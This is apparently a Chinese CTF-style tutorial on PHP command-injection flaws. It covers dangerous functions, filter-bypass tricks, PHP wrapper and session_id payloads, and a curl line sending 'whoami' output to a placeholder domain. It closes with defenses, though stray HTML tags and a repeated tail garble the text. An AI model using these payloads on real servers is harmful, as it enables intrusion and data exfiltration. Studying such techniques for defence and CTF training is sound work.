命令执行漏洞深度解析与实战指南<\/h1>

一、命令执行漏洞概述<\/h2>

1.1 漏洞定义<\/h3>
命令执行漏洞是指Web应用程序对用户输入的命令安全检测不足，导致攻击者能够注入并执行恶意系统命令的安全漏洞。当应用需要调用外部程序处理内容时，会使用一些执行系统命令的函数，如果用户可以控制这些函数中的参数，就可能造成命令执行攻击。<\/p>

1.2 漏洞危害<\/h3>

继承Web服务程序的权限执行系统命令或读写文件<\/li>
反弹shell获取服务器控制权<\/li>
控制整个网站甚至服务器<\/li>

作为跳板进行内网渗透<\/li> <\/ul>

二、相关函数与知识<\/h2>

2.1 PHP危险函数<\/h3>

2.1.1 命令执行函数<\/h4>

system()<\/code>: 执行外部程序并显示输出<\/li>
exec()<\/code>: 执行外部程序但不直接输出结果<\/li>
passthru()<\/code>: 执行外部程序并直接输出原始结果<\/li>

shell_exec()<\/code>: 通过shell执行命令并以字符串返回输出<\/li>
<\/ul>
2.1.2 文件操作函数<\/h4>

highlight_file()<\/code>\/show_source()<\/code>: 对文件进行语法高亮显示<\/li>
file_get_contents()<\/code>: 将整个文件读入字符串<\/li>
fopen()<\/code>\/fread()<\/code>: 文件操作函数<\/li>
<\/ul>
2.1.3 其他相关函数<\/h4>

isset()<\/code>: 检测变量是否设置<\/li>
eval()<\/code>: 执行字符串作为PHP代码<\/li>
glob()<\/code>: 返回匹配指定模式的文件名或目录<\/li>
session_start()<\/code>\/session_id()<\/code>: 会话管理函数<\/li>
<\/ul>
2.2 Linux命令与重定向<\/h3>
2.2.1 文件查看命令<\/h4>

cat<\/code>: 从第一行开始显示全部内容<\/li>
tac<\/code>: 从最后一行倒序显示内容<\/li>
nl<\/code>: 显示内容并输出行号<\/li>
more<\/code>\/less<\/code>: 分页显示内容<\/li>
head<\/code>\/tail<\/code>: 显示文件开头\/结尾部分<\/li>
<\/ul>
2.2.2 重定向符号<\/h4>

><\/code>: 输出重定向（覆盖）<\/li>
>><\/code>: 输出重定向（追加）<\/li>
<<\/code>: 输入重定向<\/li>
2><\/code>: 错误输出重定向<\/li>
\/dev\/null<\/code>: Linux空设备文件（黑洞）<\/li>
2>&1<\/code>: 将标准错误重定向到标准输出<\/li>
<\/ul>
2.3 正则表达式基础<\/h3>

?<\/code>: 匹配前一个字符0次或1次<\/li>
.<\/code>: 匹配除换行符外的任意字符<\/li>
*<\/code>: 匹配前一个字符0次或多次<\/li>
\i<\/code>: 大小写不敏感匹配<\/li>
\w<\/code>: 匹配任意单词字符[A-Za-z0-9_]<\/li>
\d<\/code>: 匹配任意数字[0-9]<\/li>
<\/ul>
三、高级绕过技术<\/h2>
3.1 无数字字母构造Webshell<\/h3>
当数字和字母被过滤时，可利用未被过滤的字符通过运算拼接得到所需字符：<\/p>
3.1.1 异或运算<\/h4>
def<\/span> num<\/span>():
<\/span><\/span>    for<\/span> i in<\/span> range(0<\/span>, 256<\/span>):
<\/span><\/span>        if<\/span> (i ^<\/span> ord('#'<\/span>) ==<\/span> ord('_'<\/span>)):
<\/span><\/span>            print(chr(i))
<\/span><\/span>            return<\/span>
<\/span><\/span><\/code><\/pre>3.1.2 取反运算<\/h4>
公式：~a = -(a+1)<\/code>

利用取反运算构造所需数字：<\/p>
?<\/span>c<\/span>=<\/span>$<\/span>((~<\/span>$<\/span>(($<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(())))$<\/span>((~<\/span>$<\/span>(()))))))))
<\/span><\/span><\/code><\/pre>3.2 空格绕过技术<\/h3>

<<\/code>、<><\/code>、%09<\/code>（Tab）<\/li>
${IFS}<\/code>、$IFS$9<\/code><\/li>
重定向符号<<\/code>代替空格<\/li>
<\/ul>
3.3 命令分隔绕过<\/h3>

;<\/code>: 命令分隔符（常被过滤）<\/li>
|<\/code>: 管道符<\/li>
||<\/code>: 或运算符（前命令失败执行后命令）<\/li>
&&<\/code>: 与运算符（前命令成功执行后命令）<\/li>
%0a<\/code>: 换行符<\/li>
<\/ul>
3.4 通配符使用<\/h3>

*<\/code>: 匹配任意数量字符<\/li>
?<\/code>: 匹配单个字符<\/li>
[a-z]<\/code>: 匹配范围<\/li>
示例：cat fla*<\/code>、cat fla?.php<\/code><\/li>
<\/ul>
四、伪协议利用<\/h2>
4.1 常用伪协议<\/h3>


file:\/\/<\/strong><\/p>

条件：allow_url_fopen<\/code>和allow_url_include<\/code>任意开启<\/li>
用法：file:\/\/[文件路径]<\/code><\/li>
<\/ul>
<\/li>

php:\/\/<\/strong><\/p>

条件：allow_url_include<\/code>需开启<\/li>
常用形式：

php:\/\/input<\/code>: 执行POST输入的PHP代码<\/li>
php:\/\/filter<\/code>: 读取文件内容<\/li>
<\/ul>
<\/li>
示例：php:\/\/filter\/read=convert.base64-encode\/resource=flag.php<\/code><\/li>
<\/ul>
<\/li>

data:\/\/<\/strong><\/p>

条件：allow_url_fopen<\/code>和allow_url_include<\/code>都需开启<\/li>
用法：

data:\/\/text\/plain,<?php phpinfo();?><\/code><\/li>
data:\/\/text\/plain;base64,PD9waHAgcGhwaW5mbygpPz4=<\/code><\/li>
<\/ul>
<\/li>
<\/ul>
<\/li>

zip:\/\/<\/strong>、phar:\/\/<\/strong>、zlib:\/\/<\/strong><\/p>

可访问压缩包内文件<\/li>
示例：zip:\/\/\/var\/www\/html\/uploads\/file.jpg%23shell.php<\/code><\/li>
<\/ul>
<\/li>
<\/ol>
4.2 伪协议实战案例<\/h3>
?<\/span>c<\/span>=<\/span>data<\/span>:\/\/<\/span>text<\/span>\/<\/span>plain<\/span>;base64<\/span>,PD9waHAgZWNobyBgdGFpbCBmKmA<\/span>\/<\/span>Pg<\/span>==<\/span>
<\/span><\/span><\/code><\/pre>解码后为：<?php echo <\/code>tail f* ?><\/code><\/p>
五、Session利用技术<\/h2>
5.1 Session机制原理<\/h3>

Session保存在服务器内存中<\/li>
通过session_id<\/code>标识客户端<\/li>
PHP默认Session存储路径：\/tmp\/<\/code><\/li>
<\/ul>
5.2 Session利用方法<\/h3>

通过session_id()<\/code>执行命令：<\/li>
<\/ol>
?<\/span>c<\/span>=<\/span>session_start<\/span>();system<\/span>(session_id<\/span>());
<\/span><\/span><\/code><\/pre>然后设置Cookie: PHPSESSID=ls<\/code><\/p>

通过show_source()<\/code>读取文件：<\/li>
<\/ol>
?<\/span>c<\/span>=<\/span>show_source<\/span>(session_id<\/span>(session_start<\/span>()));
<\/span><\/span><\/code><\/pre>设置Cookie: PHPSESSID=flag.php<\/code><\/p>
注：PHP 5.5-7.1.9版本有效<\/em><\/p>
六、实战技巧与Payload<\/h2>
6.1 文件目录遍历<\/h3>
c<\/span>=<\/span>var_dump<\/span>(scandir<\/span>(current<\/span>(localeconv<\/span>())));
<\/span><\/span>\/\/ 或
<\/span><\/span><\/span><\/span>c<\/span>=<\/span>print_r<\/span>(scandir<\/span>(dirname<\/span>(__FILE__<\/span>)));
<\/span><\/span><\/code><\/pre>6.2 随机获取文件<\/h3>
c<\/span>=<\/span>show_source<\/span>(array_rand<\/span>(array_flip<\/span>(scandir<\/span>(current<\/span>(localeconv<\/span>())))));
<\/span><\/span><\/code><\/pre>6.3 逆序输出文件<\/h3>
c<\/span>=<\/span>show_source<\/span>(next<\/span>(array_reverse<\/span>(scandir<\/span>(current<\/span>(localeconv<\/span>())))));
<\/span><\/span><\/code><\/pre>6.4 严格过滤下的绕过<\/h3>
\/\/ 使用bin目录下的命令
<\/span><\/span><\/span><\/span>c<\/span>=\/<\/span>bin<\/span>\/?<\/span>at<\/span>$<\/span>{IFS<\/span>}f<\/span>??????<\/span>
<\/span><\/span><\/code><\/pre>6.5 无回显情况处理<\/h3>
\/\/ 将结果写入文件再访问
<\/span><\/span><\/span><\/span>c<\/span>=<\/span>ls<\/span>>\/<\/span>var<\/span>\/<\/span>www<\/span>\/<\/span>html<\/span>\/<\/span>1.<\/span>txt<\/span>
<\/span><\/span>\/\/ 或使用DNS外带
<\/span><\/span><\/span><\/span>c<\/span>=<\/span>curl<\/span> `whoami`<\/span>.<\/span>yourdomain<\/span>.<\/span>com<\/span>
<\/span><\/span><\/code><\/pre>七、防御措施<\/h2>


输入验证<\/strong>：<\/p>

严格限制用户输入格式<\/li>
使用白名单而非黑名单<\/li>
<\/ul>
<\/li>

函数替代<\/strong>：<\/p>

使用escapeshellarg()<\/code>和escapeshellcmd()<\/code><\/li>
避免直接使用系统命令函数<\/li>
<\/ul>
<\/li>

权限控制<\/strong>：<\/p>

Web服务运行在低权限用户下<\/li>
禁用危险函数（disable_functions<\/code>）<\/li>
<\/ul>
<\/li>

配置安全<\/strong>：<\/p>

关闭不必要的伪协议支持<\/li>
设置open_basedir<\/code>限制访问目录<\/li>
<\/ul>
<\/li>

日志监控<\/strong>：<\/p>

记录所有命令执行操作<\/li>
设置异常行为告警<\/li>
<\/ul>
<\/li>
<\/ol>
八、总结<\/h2>
命令执行漏洞危害严重，攻击者可通过多种方式绕过防御措施。安全开发应从设计阶段就考虑命令执行风险，采用最小权限原则，并实施多层防御策略。对于安全研究人员，深入理解系统机制和灵活运用各种绕过技术是发现和利用此类漏洞的关键。<\/p>

命令执行漏洞深度解析与实战指南<\/h1>

一、命令执行漏洞概述<\/h2>

二、相关函数与知识<\/h2>

2.1 PHP危险函数<\/h3>

2.2 Linux命令与重定向<\/h3>

三、高级绕过技术<\/h2>

3.1 无数字字母构造Webshell<\/h3> 当数字和字母被过滤时，可利用未被过滤的字符通过运算拼接得到所需字符：<\/p>

四、伪协议利用<\/h2>

3.1 无数字字母构造Webshell<\/h3>
当数字和字母被过滤时，可利用未被过滤的字符通过运算拼接得到所需字符：<\/p>